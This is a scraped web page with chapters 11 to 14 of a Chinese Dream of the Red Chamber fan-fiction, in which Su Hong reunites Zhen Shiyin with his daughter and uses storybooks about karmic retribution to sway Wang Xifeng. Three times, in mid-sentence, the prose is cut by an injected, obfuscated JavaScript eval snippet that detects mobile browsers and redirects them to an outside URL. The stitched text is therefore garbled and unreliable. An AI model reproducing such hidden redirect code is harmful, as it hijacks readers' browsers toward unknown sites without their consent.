若论缘分，似是宝玉和妹妹天定姻缘。但若论品貌谈吐，以他对妹妹的了解，恐怕仍会中意师兄。薛蟠只觉一团乱麻，虽知师兄不似那等轻狂人，并不在意这些，终究觉得唐突。 苏鸿自是知道他说的表弟为何人，连带着金玉之说也同样知道。他合掌赞道：“若论他，自然是一股清流，聪明灵秀倒是难得。只是听他言论，不像是能继承家业的，若有人撑着，做个富贵闲人也就罢了。” 11. 雪 贾宝玉在原文所言“女清男浊”“鱼眼珠子”等，他虽不敢在外说，心底倒是深为认同。只是心中疑惑，既有此见地便更该发奋读书，尽力一正世间浊气。即使不成，也可谨守自身庇护家眷，如何要悬崖撒手。 左思右想，他确实比不过贾宝玉这般有佛家悟性，只好做个俗人在人间挣扎罢了。 薛蟠见苏鸿说完便怔了，摇头笑道：“你和他一样，都有那呆根子，怪不得你也能看中他。我妈见了他，回来也称赞得了不得，连你也这样说，可见是我这样的俗人不懂欣赏了。” 苏鸿方才回神，闲闲斟茶递了一杯给薛蟠后方道：“各人自有前程，何必强求。于仕途经济上，确实不能指望他半点。只是他性情虽古怪，却又带着一段痴意……” 苏鸿说着忽而顿住，不再向下说。眼下宝玉尚小，倒不曾像后期一样有了成长，当不起这称赞。便转而笑道：“师弟在贾家住下，我可如何找你？” 薛蟠心中狐疑，但又见苏鸿面不改色，便只当自己想多了。见他发问，便道：“我们现住着姨爹家的梨香院，就在荣国府东北角，有街门另开。我叮嘱门房上的人，若你来了直接到我书房就是。” 又笑道：“等什么时候你来，我引着你见我姨爹、姨妈和老太太。他们极喜欢聪明上进的人，见了你必定喜欢。 苏鸿点头一笑，说道：“也应当拜见长辈，只是我现有一桩事求大哥哥帮忙。” 薛蟠听他私下里叫什么大哥哥，翻个白眼道：“别装蒜了，有话快说，和我你还客气什么。” “这事原也不是我的，”苏鸿压低声音，“是我有位好友，只是个童生，偏偏家中没落下去。他自持别无长处，也就写市井话本在行些，所以求我介绍门路。” “……”薛蟠看着苏鸿，心中疑惑难道自己看上去很傻吗，怎么师兄找了个烂借口。他配合道：“行吧，我家现有的大小书铺我现在就给你抄了名字下来，你想往哪里卖直接找掌柜的就是。” 苏鸿见薛蟠提笔抄写，惯例指点了两句运笔，闻言又反驳道：“是我的友人，我又何必去沾这闲事？” 他虽说已有了秀才功名，但仅仅十二岁，这个年纪想做些什么都受掣肘。若是没有记错，没三年就是秦可卿仙逝，死因很不光彩。而与此同时，王熙凤则借丈夫之名弄权，自此之后一发不可收拾。 仙师叮嘱要他扶救世人，又以入册者为要。他别无他法，便是他父亲也不可能上贾家要求他们好生对待、约束媳妇。秦可卿只好随缘去救，倒是王熙凤，若要救她，须得止住其私自结交外官弄权一事。 他姑且一试罢了。只是揣度王熙凤之为人，她这样大胆且不知轻重，贾家现下又的确煊赫，这样轻巧的法子只怕不中用。对她，还是当下猛药才是。 薛蟠一笑，说道：“那就请你那位友人好好挑挑，也不必分成，只赏伙计们几两工钱就是。” 他只以为苏鸿是对话本子好奇，打算写两本儿新鲜下。何况他们这样的关系，也很用不着仔细算账，只留个成本便是。 苏鸿摆手笑道：“这话可不必说，你做东家的，自己带头混做起生意，岂不让伙计们笑话？这也不过是一时的玩意儿，何必较真，到时候让掌柜的正经拟了契书就是。现下正忙着，过段时日我再跟你细说。” 薛蟠见他如此说，便也未曾坚持。想起先前苏父曾说苏鸿要到国子监去，便问道：“听说优贡的监生都要在校舍居住，平日不得出来，这怎么说？” 苏鸿想到此事也有些头疼：“自然是依着规矩住校舍，每月初一十五可回来。到时候回家给父亲母亲请安，再去你们家给伯母请安罢了。虽也有不少归家居住的，但我想着又不是什么要紧事，何必兴师动众的，让夫子觉得我轻狂。” 二人说笑一阵，薛蟠见天色不早便连忙告辞了。 待到晚间，苏鸿披着外衣坐在书桌前，手捧书卷。神思却早不知飞往何处，只暗暗咂摸诗句之意，垂眸细思。 又翻回去细看，轻声呢喃：“玄阴凝不昧其洁，太阳耀不固其节。节岂我名，节岂我贞。凭云升降，从风飘零。值物赋象，任地班形。素因遇立，污随染成。纵心皓然，何虑何营？” 却见苏母笑着站在门外，见他这样晚还在温书，便道：“秀才公，天都黑了，快歇歇眼睛吧。” 苏鸿抬头见是母亲过来，连忙起身道：“母亲，我知道了。” 苏母一点头，见苏鸿果然收拾了桌面预备更衣歇息，方才离开。她不过是顺路来看看鸿哥儿睡了没有，不想他竟破天荒地钻研起诗赋来了。虽说谢惠连的《雪赋》极佳，读之满口生香，但鸿哥儿寻常并不爱吟诗作赋，倒是令人奇怪。 只是又在心中念了两遍，才倏忽顿住脚步。跟在她身后的侍音被惊了一下，忙问道：“太太，怎么了？” 苏母方笑道：“没什么，想起件趣事罢了。” 苏鸿见母亲走了，虽舍不下书，但想到明日就要正式搬倒国子监的校舍里去，便连忙洗漱歇息。只是睡前照例看了眼功德值，见距离一千还远着，便也不再多想，沉沉睡去。 第二日，薛太太便带着宝钗前来苏家，一叙别后诸事，便带英莲一同到贾家小住。待到了贾家，又先带着英莲给王夫人、贾母请安。众人只知这是薛太太的干女儿，也是大家小姐出身，见她秀美温柔，便也十分喜爱。 且说苏鸿入了国子监，虽有少年天才的美名，仍是入了初级班。同班的多是各地府学、县学的择优选取的优秀学子，都有一肚子学问。见猛然来了一个十二岁的小少年，心中都带着些许好奇。 只是苏鸿来之前，众学子便知他父亲在翰林院为官，外祖父又任兵部右侍郎，家境殷实。他们能以优贡的名义来国子监，确实有学识不假，或多或少还是使了银子的，多是本地乡绅。 见苏家在朝中有人，都不敢小觑，摸不清苏鸿脾性时也不敢贸然结交。 苏鸿却是泰然自若，见了比自己先入学的学子便口称师兄，并无骄矜之气。探讨起学问来亦是和和气气，虽有分歧，最终却往往能达成一致，家中有孤本书籍也不吝于拿出来探讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285815|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 苏鸿心知也是他的家世起了作用，不然也别想他们会这样快接纳自己，却也不以为意。只是苏鸿虽有了写些因果轮回善恶报应的话本的想法，却不得其法，没有丝毫头绪。况又是身处国子监，人多眼杂，便只在脑内构思，不敢写在纸上。 一连数月过去，他与众学子都混熟了。恰巧明日便是休息日，又恰逢梅花绽放，便有相熟的学子攒局，邀请苏鸿一起到城外梵音寺踏雪赏梅。苏鸿自来京中便是国子监、家里两头跑，闻言便欣然应允。 待晚上回家，禀明父亲、母亲后，便连忙让人拾掇起来。他虽年纪小，却也是自小便学君子六艺，弓马娴熟，并不惧骑马出门。苏父也安排两个年纪大些的下人随他一起出去，更不必担心被人欺负了。 第二日一早，给父母请安后，苏鸿便带着他们一同骑马出去，在城门口与约好的三人汇合。众人知苏鸿年纪小，见他带了两个年长的下人陪同也并不在意，一群人便骑着马晃悠悠往梵音寺去。 到了地方，将马匹安置好后便沿着石阶徒步登山。见白雪皑皑，人迹稀少，隐隐听得寺庙钟声，好个空寂寥落之地。便有位姓刘的书生笑道：“外头虽冷，但也有好风光，我们也不虚此行。” 他眉宇间全是自在的畅快，侧头看向苏鸿道：“你不比我们健壮，不如笼着手炉，别冻着你”。 一旁的小厮听见忙要上前，苏鸿笑道：“贤兄不必担忧，我自然心中有数。” 另一位王书生也笑道：“你也太操心了，苏弟年纪虽小，可不是扭捏好面子的人。咱们来此圣地，自然该赏雪作诗的，方不辜负游兴。” 不待众人响应，苏鸿忙笑道：“诸位贤兄可饶了我，你们作你们的，我只服侍你们笔墨便是。” “你瞧瞧，都还没开始就有人想逃了，”杨书生笑着指向苏鸿，“也罢，咱们写咱们的，你不拘写前人诗句也好、随口胡诌也罢，不能逃脱。” 众人皆知这位少年神童不善诗词，连带着文章也是四平八稳，不爱用华丽辞藻。知他志不在此，商议后便也不强令他作诗。苏鸿自是笑吟吟应了，心里暗想有何合景的前人诗句能借来一用。 当下，四人俱是欢欣鼓舞，一路歌咏。拾级而上到了门前，却见寺门洞开，门前的匾额上题着“梵音寺”三个大字，门旁又有一副对联，题着“乾坤容我静，名利任人忙”。众人围着品鉴，说笑一番便入了寺内。 只见寺庙不大却打扫得干干净净，不过四五间屋子供着神佛，里外只有一位老僧并几个小沙弥而已。他们略转了转，虽并无所求，但来此宝地赏景亦是借光，便也都拈香拜了。 待到了后山，自上而下俯瞰，却见一片冰天雪地，唯有一片寒梅悄然绽放。几人悄然驻足赏景，苏鸿用帕子将额上的汗水擦去，见梅花开得可爱，便上前去看。不妨渐渐远离了众人，待他回神之后正要离开，却见不远处两个衣衫褴褛的道人肆意躺在雪坡上。 他见状一惊，疑心是被冻死的人，当即便上前去看。他喊道：“二位道长，可还醒着？” 12. 寻回甄士隐 如此一场大雪，美固然是美的，只怕会伤了不少贫民之家。但贫民仍有房舍避寒，在外流落的乞丐、求布施的道人和尚，便当真是毫无办法。 他见那两个道人不吭声，心中一动便抬脚上前。却见那蓬头道人虽闭着眼睛，嘴唇却微微蠕动，似有跛足，另一衣衫褴褛的道人则白发苍苍，合着双眼，看起胸前亦有起伏。 苏鸿心中一惊，如此寒冷的天气，他们就这样躺在雪上，身上也没什么冻疮，当真奇怪。想到《石头记》里头本就神神鬼鬼的，也不敢与其交谈，转身便想离开。却又想起什么，狐疑地打量着那白发苍苍的道人。 他知道他们许是不会搭理他，垂头想了想，试探性问道：“小子无状，打扰二位道长。小子要寻一位渺渺真人，现有一天大好事，要借真人之口转述，还望道长原谅。” 那蓬头道人闻言却不起身，只斜眼看这俗物，冷笑道：“什么真人假人，又是什么天大好事？” 他心中纳罕，见他周身全然清正之气，又萦着金光，揣度必是应运而生之人。只是有此来历，却为何不曾听见他所吟《好了歌》，全无半点悟性，俨然又是个俗人。 苏鸿笑道：“小子有一世伯，据说随渺渺真人修道去也，俗家姓名为甄费。世伯之女现今已被寻到，若道长……” 不待他说完，却见另一白发道人便已睁开眼，盯着苏鸿看了两眼后方恍惚道：“是谁被寻到了？”说着又晃晃悠悠站起身，又重复了一遍。 苏鸿料定他必是甄士隐，一字一句道：“甄费之女甄英莲被寻到了。” 渺渺真人怔住，没想到有命无运的甄英莲竟脱离了苦海，不由细细打量苏鸿。见甄士隐神思恍惚，有重归凡尘之意便只冷笑一声，情知留不住他。只是幻境中生此变故，看来是要先同茫茫大士商议了。 也没心思同苏鸿说话，见甄士隐泪流满面便觉无趣，风一般离开了。 甄士隐修道几年，确实明了昔日僧道二人度化英莲出家实是好意，也想起梦游太虚幻境时所见所闻。自出家之后，心知这般冤孽轻易不能了解，也是英莲命中该有此劫。如今猛听闻女儿脱离苦海，心情激荡，竟是一口血喷出来。 苏鸿看了半晌，方道：“若道长果然认得甄英莲，便随我回府吧，也好骨肉团聚。若不认得，便只当小子说了疯话，忘了就是。” 甄士隐这才正眼去看苏鸿，含泪道：“我俗家姓名上甄下费，字士隐。你所言英莲，正是我独女也！” 苏鸿便连忙上前拜见，将自己的来历一一说明，便要带甄士隐回苏家。正巧其他三人遍寻苏鸿不见，寻到此处，见他正和一老道说话，十分吃惊。苏鸿便说这老道是自己世伯，早几年出家，不想在此处看见，便多说了两句。 众人见他语焉不详，只当是这老道是被人拐骗了，身为晚辈不好开口，便都不以为意。虽奇怪为何如此近的距离，苏鸿却不曾听见他们呼喊，也都只当是被风声掩盖了。 恰逢天色将晚，该作诗的也作了，该赏的景也赏了，又恰逢苏鸿世伯被寻回，便议定返程。苏鸿见甄士隐面容苍老，不敢让他单独骑马，便特意让下人与他同乘，好随身护持。 一行人回了京城，待苏鸿回家之后，就连忙让人先给甄士隐梳洗，自己径直到后头给母亲说起此事。苏母闻言十分惊喜，又怕是那道人混赖，便道：“先等你父亲回来再说，免得让你伯母空欢喜一场。” 她又疑惑道：“你怎么知道那是你甄伯父？” 苏鸿面不改色，笑道：“我听说甄伯父是同一跛足道人走了，见他们都卧在雪地里有些神异，便试探一问罢了。没成想正是他们，也是凑巧。” 苏母闻言便信以为真，笑道：“可见两家是有缘分的。你伯母和妹妹在咱们家，一应分例都同咱们家一样，虽不说，我也知道她们心里不好意思。如今你伯父来了，叫你父亲分个田庄、铺子，一家子也顺顺当当过起来。” 可怜他们一家，因遭难连家里产业都变卖了，又遇到坑蒙拐骗的岳父。如今他们夫妻年岁不小，竟也不必让他们去费神打理，左不过仍派了自家下人，叫甄老兄在铺子上挂名应个景儿就是。 苏母心里算着自家产业，见苏鸿仍在此处坐着便笑道：“你不去陪你世伯，在这儿坐着做什么？他心里恐怕也思念妻女，你先缠着，等你父亲回来。” 苏鸿连忙应下，迎头撞见封娘子带着英莲过来同苏母说话，见了礼便匆匆忙忙走了。封娘子见他这样，笑道：“鸿哥儿今儿是怎么了？” 苏母抬头见她们来了，忙笑道：“有人二门上叫他，也不知是什么事。” 见英莲高高兴兴从薛家回来，脸上红扑扑的，便笑着揽过她道：“你干妈亲戚家的姊妹就这样稀罕，瞧你高兴的。跟着你宝姐姐玩儿了什么？” 英莲抿唇一笑，搂住苏母道：“宝姐姐带着我看书习字、做针线，还和贾家、林家的姐妹们一起在雪地里堆雪人儿玩。还有姨妈家的宝玉，说春天了就带着我们一起淘漉胭脂膏子呢。” 苏母和封娘子闻言都笑吟吟的，见英莲没在贾家受欺负便放下心。她们虽放心薛家为人，但贾家终究是侯门公府，下人们拜高踩低又是常态。所幸有薛家母女看顾，英莲不仅未受委屈，连性子也比刚寻回时开朗许多。 且说苏鸿在外头和甄士隐闲话，问这些年是如何过活。甄士隐见苏鸿并未直接将妻子和女儿带来，就知是要见过苏理才行。他心中虽急，却也知苏鸿如此做也是正理，便按捺住性子与苏鸿说话。 不多时，便有人传道：“老爷回来了。” 苏鸿忙起身，见苏父忙忙走了进来，一见甄士隐，便忍不住眼中含泪。不等甄士隐起身他便一把上前握住甄士隐的双手，哭道：“鸿儿差人告诉我找到贤兄，我还不信，没想到我们还能再见！” 甄士隐先是一怔，见他这般激动，也忍不住垂泪道：“当日苏州一别，谁能想到再见会是如今这般景象。听闻你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285816|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直帮忙打探我妻女下落，倒让为兄惭愧、” 他当日听了道士一番话，只当是英莲确实有命无运，再也寻不回来。加之岳父奸猾，世态炎凉，他一时心灰意冷便遁入空门。谁知不仅英莲能被寻回，连苏理也不曾忘却二人恩情，帮他安置妻女。 可见命理一说实不能全信，他竟自误了。钻了牛角尖，为父对女儿不管不问，为夫抛弃妻子，为子……为人子又不能守住家产，实在是不忠不孝不义之人。他一时满面含愧，泪如雨下。 苏父见恩公如此年纪却流落在外，又说出这般肺腑之言，连忙劝道：“此番劫难许是天妒也未可知，贤兄千万莫要介怀。如今夫妻父女团聚，再不要如此作悲。” 说着便看向苏鸿，说道：“快告诉你母亲，请你伯母和妹妹出来相见。” 苏鸿领命去了，见封娘子和英莲果然还在母亲这里，便微微向苏母点头示意。苏母见状便道：“今日，着实有一件喜事，我和鸿哥儿要向你们母女说明，只是又怕是空欢喜一场。现下我们老爷回来，认准了，才敢告诉你们。” 封娘子闻言一怔，揣度其言下之意，竟像是有深意。她看了眼英莲，见她只一脸好奇地听着，便颤着手笑道：“既如此，就请妹妹说与我听吧。” 苏母道：“今儿鸿哥儿出去，恰巧碰见位道长。本是随口打听，谁知正是你们家老爷来京修行。鸿哥儿一说英莲被找到了，喜得你们家老爷忙随鸿哥儿回来，竟是立地还俗。” 不待她说完，封娘子便已经泪流满面，和英莲搂着哭起来。又连忙一擦眼泪，连连道：“老爷在何处，我与英莲即刻去见他。” 她心中对丈夫亦然愧悔，自己父亲不争气，贪墨甄家的银钱，又时常言语奚落。她作为女儿唯有垂泪，丈夫受不了岳家如此势利，英莲又被拐走，愤而出家也是常事。不曾想如今英莲回来，她们一家又要团聚了。 苏鸿便连忙引着母女二人到中堂，母女二人见甄士隐如此憔悴心中痛惜，甄士隐见母女二人则又愧又喜，三人不由抱头痛哭。不过三言两语，夫妻二人便对着赔不是，各自皆有悔恨之言。 待他们稍微发泄情绪后，众人便连忙劝解，让英莲拜见父亲。甄士隐见女儿失而复得，又跳出苦海，心中感慨万千，更是痛恨自己信了道士的鬼话。说什么有命无运，世事岂会一成不变，人都是死的不成？ 甄士隐已五十有八，心情激荡下更觉难以支持，被扶着坐下。他怀里搂着英莲，封娘子坐在他身旁，不由含泪道：“若非贤弟，我夫妻父女如何能再见。只可恨身无长物，我亦年老体衰，不能报答贤弟恩情。” 苏父忙道：“贤兄说这般话，就是小看愚弟了。身外之物算得了什么，难道你我之间还要这般见外？” 苏母也笑道：“我们家虽不能称一句大富，供养嫂子、英莲还是绰绰有余的。如今世兄既来，合该住下，也好让我和夫君稍尽绵薄之力。世兄若是推辞，可见是与我们见外了。” 13. 话本 甄士隐见他们夫妻皆如此说，不由含泪道：“既如此，我也少不了叨扰了。我虽无专长，于诗词道术尚有些见解，若贤弟与弟媳不嫌弃，尽管吩咐就是。” 苏父与苏母连忙宽慰，又早让下人收拾出院落来，让他们一家三口畅叙抒怀。苏鸿听甄士隐自言于道术上有见解，不由想到令自己束手无策的有关因果循环的话本。只是见他们刚刚团聚，不好这会儿去扫兴，便闭口不提。 恰巧已进正月，太学提前放假，苏鸿便不曾去学里读书。待过了几日，见甄家三人如今情绪平复，便避开旁人去拜见甄士隐。 甄士隐如今得回女儿，要挑起一家人的生计，便连日看账，时不时到铺子里去查看。为了多方开源，还将自己的字画放在铺子里寄卖，倒也有一二买主。见苏鸿来访，便连忙放下账本，笑道：“世侄，快坐。” 苏鸿便笑道：“侄儿来此，实是有一事求世伯开恩。侄儿先时梦中通灵，不光得知了英莲妹妹的下落，还叫我扶救一些个女子。我听仙师所言，尽皆与贾家相关。只可惜深宅大院，我又如何能去干涉。” 他思前想后，当时因怕父母担忧，便不曾将此事告知父母。但甄世伯同样有一番奇缘，告知他想必是不打紧的。何况甄世伯与他都亲眼见了那位渺渺真人，更是不会介怀。 甄士隐闻言，果然并未起疑，便道：“世侄尽管说便是。深宅大院中的奶奶姑娘，我们如何得见，只不知世侄想如何帮她们？” 他心中不仅不曾起疑，更是早料定苏鸿不凡，否则岂能改了英莲有命无运的根基？因而苏鸿不想告知苏父，他也绝不会去苏理那边多嘴。 苏鸿便道：“我们人微言轻，便是说到门上，只怕会被打出来。世伯既专擅道术，不如结合见闻，编写几出因果轮回报应的话本，令人传唱？书铺也是现成的，只少了动笔之人。” 说着，又忽而笑道：“也不必报复在本人身上，殊不知打在儿身，痛在娘心。为母者见自己所为报应在孩子身上，岂有不悔改的？更有不读书之过，不通晓律法、世情，终究不得长久。” 甄士隐便点头赞道：“这也是个办法。虽说太过轻巧，人未必相信，但你我暂且只能做到如此了。贤侄不必担忧，此事交给我便是，待写好了便拿与你看。我在外多年，这样的例子见得不少，连杜撰也不必。” 二人便商议了如何写、写出来又如何拿到书铺、如何刊印售卖等等。甄士隐又取了个“人间客”的诨号，预备写书时专用。连口径也都对好了，甄士隐只对苏父说有心经营生活，写话本一则可以售卖增添进项，二则也可警示世人。 如此一来，苏父对甄士隐重拾生活信心一事极为赞同，还提出若有需要也可命他刊稿。虽说如今话本上不了台面，不过市井流传而已，但甄士隐年岁已大，他便是举荐为官也显得没意思。倒不如做些营生，官场上有他和岳父，只要别刻意招惹闲事，不愁护不住他们。 苏鸿见甄士隐如此当正经事去做，略有些心虚，担忧没有效果该怎么才好。但又想到不去做就更不会有成效，好歹他们也已经尽人事了。 临近年关，苏鸿得闲便去外祖家、薛家请安。只是如今宝钗白日时常和贾家小姐、林家小姐等一同谈笑玩耍，倒是王夫人时常在梨香院这里与薛太太说话解闷。来往多了，王夫人视苏鸿亦如自家子侄一般，见他过来也常常问候几句。 苏鸿见她们姊妹说话，请了安就去寻薛蟠说话，顺道将甄士隐的来历介绍给薛蟠。薛蟠倒是十分惊讶，没想到还真冒出这么个人。他也不以为意，话本生意而已，也不指望这位老世伯能赚多少钱，反正有干妹妹的情分在。 二者搭上线，苏鸿便也放下心，专心等着甄士隐写了话本之后推一把。想让这样的话本被贾家人知道容易得很，送些给薛蟠就是。到时候再花银子让女先儿编成故事，不愁传不到女眷耳中。 翻过年后，甄士隐果然便拿出两个话本子。拿给苏父看后，苏父赞不绝口，便又趁着苏鸿从学里回来拿给苏鸿看。苏鸿见不过几月功夫就有成果，亦是十分惊喜，连忙展开来看。 话本不长，不过半个时辰就翻完了。苏鸿细细品味，笑道：“世伯写得极好，乡绅夫妻为孩子求医，为了孩子不惜找神婆通灵到地府去将他带回来，却从地府得知孩子多灾多病的根由……” 他咂摸片刻，又冷笑道：“弄出人命、肆意弄权，哪一项不是该死的。只是古今男人做得多，却不见得珍惜子女，他们恐怕一看便扔了不管了。倒是女子，虽说行径狠辣，对孩子终究怀有慈母心肠。” 甄士隐摇头笑道：“劝男人？好的自不必劝，坏的更不必劝了，来日也不会有好下场。自古官场污浊，我也因此不愿出仕，只在本地做个乡绅，却深知官场利害。你父亲在官场这么多年，便是有你外祖提携也晋升极慢，不也有此原由。” 苏鸿垂头想着，半晌便道：“这原也不是现在就能解决的事。世伯，我这就与我师弟联系，先将其投在书铺看看效果，若不行，便花银子让女先儿推一把。” 反正他的主要目的是救下王熙凤，其他人便随缘吧。若贾家那些男人肯听进去，也算是好事，若听不进去，到头来砍头的砍头、流放的流放便罢了。依他来看，这也是那些男人该受的。 虽说《石头记》未完，但以本朝行事，只要不牵扯到谋逆大罪，女眷至多是剥夺诰命沦为庶人，带着嫁妆自己过活罢了。但若自己也掺和进腌臜事里，可就不好说了。 二人商议定了，苏鸿便与甄士隐选定书铺，又拿着本子去寻薛蟠。薛蟠见他果然拿来话本，便联络了掌柜的收书。又交代刊印后也送来几本样书，让他也看个稀罕。 且说甄士隐的《求医记》一经发行，外头男人们只对风花雪月感兴趣，见是讲阴司报应的书便置之不理。倒是内宅的太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285817|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶们一惯崇佛好道，听女先儿讲了这般故事便深有触动，又见《求医记》的最后夫妻二人悔改，子女又万事顺遂，俱都喜欢。 颇有人自认惜老怜贫，慈善厚道，便是看了也觉并未说自己。亦有如凤姐这般不信阴司地狱报应的，虽不在意自己的身后事，却仍有一番慈母心肠。见话本上头写“放利钱”“人命官司”“肆意打骂”均是作孽的事，会报应到孩子身上，一时也将信将疑。 只是她心中纳罕，各家谁敢说没有放利钱的事？连寺庙庵堂也带头放，说是帮人度过难关。连和尚尼姑也不在意阴司报应，可见所谓阴司报应一说实是放屁，自己打自己的嘴。 道理虽是这样，但牵扯到大姐儿，她心里还是七上八下的。暗暗沉思之际，却见宝钗远远过来，便笑道：“薛妹妹，来给太太请安？” 这也是姑娘家的惯例，每日梳洗后晨昏定省，给太太和老太太请安。只是往常总是三三两两一起过来，今儿倒是只有宝钗一人来此。 宝钗笑道：“凤姐姐好。今儿妈叫住我，给姨妈送些东西过来，便来迟一步。姐姐怎么坐在这风口里，仔细吹了风。” 王熙凤便笑道：“屋里头怪闷的，我出来坐坐。昨儿请了女先儿来说书，还没问你们姊妹喜欢不喜欢。要是喜欢，下次还请她们来，再让说些新书。” 昨日她女儿不知为何又病了，请医问药却不见效，大姐儿只是哭。她看着揪心，好容易大姐儿才睡下，她才在外头坐着疏散疏散。只是发着呆，不免想起昨儿听的书。 宝钗心下纳罕，说书素来是长辈们喜欢的，她们姊妹坐在跟前不过应个景罢了。凤姐姐也不是不知道，今日为何反来问她。但想到昨儿大姐儿生病，难道凤姐姐也信了玄学命理一说，想着为女儿积福？ 宝钗抿唇笑道：“原是请老太太、太太开怀一笑，我们不过听个热闹罢了。但昨儿的书倒好，词藻文笔都妙，说得也是正理。我倒是恍惚听见妈说过几桩事，竟跟书里的一样，也是奇了。” 只是若想为自己和儿孙积福，寻常寺庙庵堂里捐香油灯火确是可有可无，凤姐姐要一改素日严苛刻薄的行径才好。可这话却又不是她一个妹妹能说的，因而宝钗虽知凤姐心思却不肯点破，只笑着赞了这出书好。若凤姐姐有心，正经该去找妈问问。 王熙凤闻言，心知宝钗性格如此，便又笑吟吟寒暄几句，见她往王夫人房里去了才转身回屋。听宝钗特意提起姨妈也知道这样的事，便想着许是有八分准，往日竟是她见过得太少了。 如此一想，原先打算放利钱竟是大不妥当，还是别沾这个的好。索性她也不缺这几个钱，何苦给大姐儿招孽，另寻他法为是。 宝钗只当事发偶然，只是想到那女先儿说的书，竟不是寻常风花雪月的才子佳人的故事，倒也别有一番新意。又想到这故事是甄家老爷写的，暗道果然是英莲的生父，这般与众不同。 14. 皇家事 且说自甄士隐的《求医记》《换子记》在女眷中打响名声后，书铺的掌柜便马上找上门来求甄士隐继续写。毕竟甄士隐原也是望族出身，又与苏家、自己东家交往深厚，原也不指望这个赚钱。 他手下虽有能写话本的，但那起子穷酸没见过世面，只好写些风花雪月。也不撒泡尿照照，人家大族人家的奶奶小姐们是他能肖想的不能。但这些话本在那些没出息的男人们中间流传甚广，他也不好砍了赚钱的生意。 谁知甄家老爷的两个话本，看似平平无奇，不知为何就对了大家里太太奶奶们的胃口。女先儿们说这样的书，竟比从前得的赏钱还多，一传十十传百，都中不少女先儿和说书的都买来看。 他神神秘秘上门，重新签订了契书，极大让利给甄士隐。话也说得好听，只道让甄士隐赏口饭给他们书铺，一番歌功颂德。 甄士隐虽不乐意听这奉承话，但话本带来的收益确实可观，让他也颇为惊讶。田庄和铺子虽有进益，却都是细水长流的慢功夫，正当流行的话本却是挣红利快钱。想到这些钱好歹能给家里添补些，少给苏家增加负担，便也应下书铺掌柜的请求。 苏鸿见甄士隐能借此得些进益，便也越发放心。闲暇时也常去寻甄士隐一同探讨近日时兴的话本，研究下一本该写些什么故事才好。他们二人相处时间长了，倒比苏父更像是忘年交。 一日，苏鸿正在甄士隐处说话，便见苏父从外头回来。苏父笑道：“我才从衙门回来，忙得不可开交，你们倒把我丢一边，自在玩乐了。” 苏鸿忙起身，甄士隐抬头笑道：“你不能每日陪我闲话，鸿哥儿替你陪着还不好？还不快来，我正听说有件新文呢。” 他在书铺来往多了，与三流九教具有接触，正是听见了隐隐约约的风声。他示意苏鸿将门窗打开，低声道：“我听说，近来大皇子府上出了不少事，连宠妾都得了训斥。据说是……对他不满，在外头不好发泄。” 苏父闻言，也叹道：“谁说不是呢，这段时日我们都是战战兢兢的，生怕讲个经也被扯进去了。大皇子有勇无谋，二皇子虽说有勇有谋，却又不知为何不得看重。三皇子也才二十上下，明面上看不出深浅，四皇子更小。只是今上竟似是有了退位之意。” 这些话他也只能和甄老兄、自家岳丈和大舅哥说说了。其他同在官场之人，哪怕十分要好，他也不敢泄露一句。想到今上问刘太公、唐高祖故事，他也觉得牙疼。今上年老体衰，退位让贤是应该的，但既想退位，又不乐意放权，哪有这样的两全之法。 甄士隐道：“如今京城尚好，外头或多或少都有些混乱，是该换位正当壮年的管辖管辖。” 听到此处，苏父冷笑一声，却未置一词。二人对视一眼，苏父才道：“就这两三年功夫，且看吧。近日都察院的事才可笑，宁国公也是功臣之后，怎么就生出这样可笑的后人。” 说着又叮嘱苏鸿道：“告诉你师弟，别跟宁府的人来往，只与亲戚来往算了。现下不过是今上念着旧情不理论，都察院也就睁只眼闭只眼。哪天翻腾出来，那才是丢人丢到衙门了。” 苏鸿听是有人参奏先宁国公之曾孙、现袭三品爵威烈将军贾珍私德不修，便心中一惊。他倒是没想到，这样早就有人准备参奏贾珍，只是不知为何贾家人似是浑不在意一般。至于所谓“私德不修”，总不至于是贾珍威逼秦可卿一事现在就被人知道了？ 他倒是也听了些风言风语，不过是说宁府里爷们不讲究，不拘丫鬟媳妇，喜欢谁就肆意妄为。薛蟠碍于亲戚情分虽不好说，却也含含糊糊印证了猜测。想到书中秦可卿病重，细细算来也是明年秋天的事，现下还不至于传扬出去。 他不由发起呆，苏父见他想得这般入神，不由蹙眉道：“鸿儿，你想什么呢？” 苏鸿忙回神，说道：“师弟先前便透过口风，我已叮嘱师弟了。” 苏父将信将疑点头，马上便吩咐苏鸿下去温书，莫要听他们说话。苏鸿见自己被撵走，也不敢强辩要留下，便转身到苏母房里说话，陪母亲解解闷。 